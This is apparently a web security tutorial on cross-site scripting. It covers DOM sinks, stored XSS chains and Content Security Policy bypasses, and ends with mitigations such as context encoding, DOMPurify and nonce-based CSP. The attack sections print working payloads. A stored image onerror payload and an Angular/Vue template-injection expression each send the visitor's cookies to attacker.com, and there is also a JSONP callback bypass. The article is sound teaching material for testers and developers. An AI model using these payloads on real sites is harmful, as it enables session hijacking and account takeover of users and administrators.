XSSJavaScriptWeb Security

XSS Deep Dive: DOM Sinks, Stored Payloads, and CSP Bypasses

Cross-site scripting has evolved far beyond alert(1). This guide covers DOM-based XSS sinks, stored attack chains, and the Content Security Policy bypasses attackers actually use.

12 min read
XSS Deep Dive: DOM Sinks, Stored Payloads, and CSP Bypasses

Cross-site scripting (XSS) is the attack that never dies. Despite widespread awareness, it still dominates bug bounty submissions and breach reports. The reason: modern JavaScript-heavy SPAs create new DOM sinks faster than developers learn to sanitise them.

The Three Families

  • Reflected — payload comes from the request, rendered once, not persisted
  • Stored — payload is saved server-side and served to every visitor
  • DOM-based — the vulnerability exists entirely in client-side JavaScript; the server never sees the payload

DOM-based XSS is the most underappreciated. A scanner that only looks at server responses will miss it entirely.

DOM Sinks to Hunt

Any JavaScript property or method that writes untrusted data into the live DOM is a sink:

// High-severity sinks
element.innerHTML = location.hash;          // parses HTML tags
document.write(location.search);           // rebuilds the document
eval(atob(localStorage.getItem('code')));  // executes arbitrary code

// Lower-severity but escalatable
element.src    = userInput;   // script src → XSS
element.href   = userInput;   // javascript: URI
element.action = userInput;   // form hijack

The source (location.hash, location.search, postMessage, etc.) delivers attacker-controlled data. Trace the data flow from source to sink — if there's no sanitisation or encoding in between, it's vulnerable.

Building a Stored XSS Chain

Stored XSS is the most impactful variant because a single injection fires for every subsequent visitor, including admins. A classic chain:

  1. Inject a payload into a comment field, profile bio, or any persisted input
  2. The server stores raw HTML (or strips tags but misses an attribute injection vector)
  3. Admin loads the page — payload fires in their browser
  4. Exfiltrate the admin's session cookie via fetch to your collector
// Payload stored in a comment
<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">

Even HttpOnly cookies are bypassed by harvesting CSRF tokens, session-bound API keys, or just recording the keystrokes of privileged users.

Content Security Policy — and Why It Fails

CSP is the recommended defence. A well-configured policy blocks inline scripts and restricts script-src to a whitelist. But most real-world CSP deployments are bypassable.

unsafe-inline Defeats the Point

Any policy containing 'unsafe-inline' allows arbitrary inline scripts. This is common because developers need to support legacy inline code.

JSONP Endpoints on Whitelisted Domains

If your CSP whitelist includes a CDN or API domain that hosts a JSONP endpoint:

Content-Security-Policy: script-src 'self' https://api.partner.com
<script src="https://api.partner.com/data?callback=alert(1)//"></script>

The browser fetches and executes it — the domain is trusted.

Angular / Vue Template Injection

If you can inject into a client-side template:

{{constructor.constructor('fetch("https://attacker.com?c="+document.cookie)()')()}}

This bypasses CSP because the trusted Angular/Vue runtime evaluates the expression — no <script> tag needed.

Effective Mitigations

Encoding is the primary control. Encode for the context you're writing into:

| Context | Encoding | |---|---| | HTML body | &lt; &gt; &amp; &quot; | | HTML attribute | Same + encode single quotes | | JavaScript string | \xNN Unicode escapes | | URL parameter | encodeURIComponent() |

DOMPurify is the gold standard for sanitising HTML that genuinely needs to be rich:

import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userContent);

CSP as defence-in-depth — use nonces, not wildcards:

Content-Security-Policy: script-src 'nonce-{random}' 'strict-dynamic';

A per-request nonce means even if an attacker injects a <script> tag, it won't execute without the correct nonce.

Hunting XSS in Practice

  1. Map all data entry points — forms, URL parameters, postMessage listeners, localStorage reads
  2. Trace DOM sinks in the client-side bundle (search for innerHTML, document.write, eval)
  3. Check if the framework's template engine is being bypassed (e.g., v-html in Vue, dangerouslySetInnerHTML in React)
  4. Test CSP in Google's CSP Evaluator before declaring it safe

XSS is a client-side vulnerability with server-side consequences — treat it that way during both development and assessment.